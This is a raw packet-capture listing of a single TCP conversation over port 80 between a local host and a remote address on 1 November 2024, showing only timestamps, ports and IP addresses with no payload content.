Nov 1, 2024 10:57:10.357003927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357006073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357014894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357036114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357045889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357047081 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357057095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357084990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357110977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357117891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357129097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357137918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357147932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357167006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357220888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357232094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357240915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357247114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357259035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357280970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357402086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357412100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357422113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357445955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357449055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357456923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357466936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357472897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357479095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357501030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357525110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357525110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357537031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357547998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357563972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357588053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357609034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357620001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357630014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357640028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357651949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357661009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357661009 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357672930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357762098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357773066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.357780933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357815981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357815981 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.357827902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.376431942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.376483917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.376490116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.376501083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.376523972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.376533985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.376553059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.376586914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.376996040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377027988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377036095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377049923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377060890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377079010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377083063 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377094030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377101898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377113104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377125025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377150059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377202034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377212048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377221107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377230883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377249956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377285957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377285957 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377316952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377327919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377336979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377347946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377362967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377377987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377378941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377389908 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377399921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377409935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377414942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377419949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377441883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377459049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377470016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377496004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377608061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377618074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377628088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377639055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377652884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377655029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377662897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377675056 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377676010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377686977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377697945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377721071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377768040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377782106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377790928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377801895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377811909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377816916 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377820969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377831936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377837896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377839088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377850056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377866983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377887011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377891064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377896070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377927065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.377954006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377964020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377973080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377983093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.377996922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378010988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378041983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378114939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378133059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378140926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378150940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378160954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378170967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378170967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378181934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378194094 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378194094 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378200054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378209114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378212929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378242016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378247976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378248930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378263950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378276110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378281116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378285885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378298044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378304005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378314018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378326893 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378345966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378467083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378478050 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378485918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378495932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378498077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378506899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378516912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378518105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378528118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378539085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378542900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378549099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378568888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378578901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378580093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378587008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378606081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378616095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378638029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378638029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378746986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378757000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378766060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378776073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378784895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378789902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378797054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378807068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378818035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378828049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378834963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378834963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378838062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378849030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378858089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378859043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378881931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378885984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378907919 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378917933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378926039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.378959894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.378972054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379012108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379020929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379029989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379040003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379049063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379051924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379062891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379065037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379103899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379103899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379107952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379117012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379126072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379168034 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379187107 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379270077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379281044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379288912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379297972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379307032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379317999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379323006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379334927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379338980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379345894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379345894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379358053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379371881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379396915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379427910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379437923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379446983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379455090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379465103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379468918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379475117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379484892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379489899 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379513025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379529953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379539967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379575014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379611969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379621983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379631042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379640102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379650116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379657984 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379668951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379702091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379734993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379745007 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379776001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379791975 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379802942 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379826069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379836082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379837990 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379846096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379857063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379868031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379873037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379899979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379925013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379928112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379942894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379954100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379964113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.379971027 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.379988909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380014896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380014896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380026102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380057096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380069017 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380079031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380089045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380109072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380117893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380120039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380126953 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380126953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380140066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380150080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380151987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380172014 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380183935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380219936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380230904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380245924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380256891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380280972 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380300999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380311966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380319118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380343914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380354881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380422115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380434036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380443096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380451918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380460978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380467892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380470037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380481958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380491018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380505085 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380517960 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380547047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380563021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380573988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380584002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380587101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380595922 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380608082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380608082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380623102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380631924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380633116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380641937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380659103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380685091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380702972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380712986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380722046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.380743980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.380763054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.400687933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.400698900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.400708914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.400719881 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.400749922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.400782108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.462474108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.462483883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.462554932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467026949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467065096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467075109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467076063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467087030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467098951 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467117071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467128992 CET	49820	80	192.168.2.4	31.41.244.11
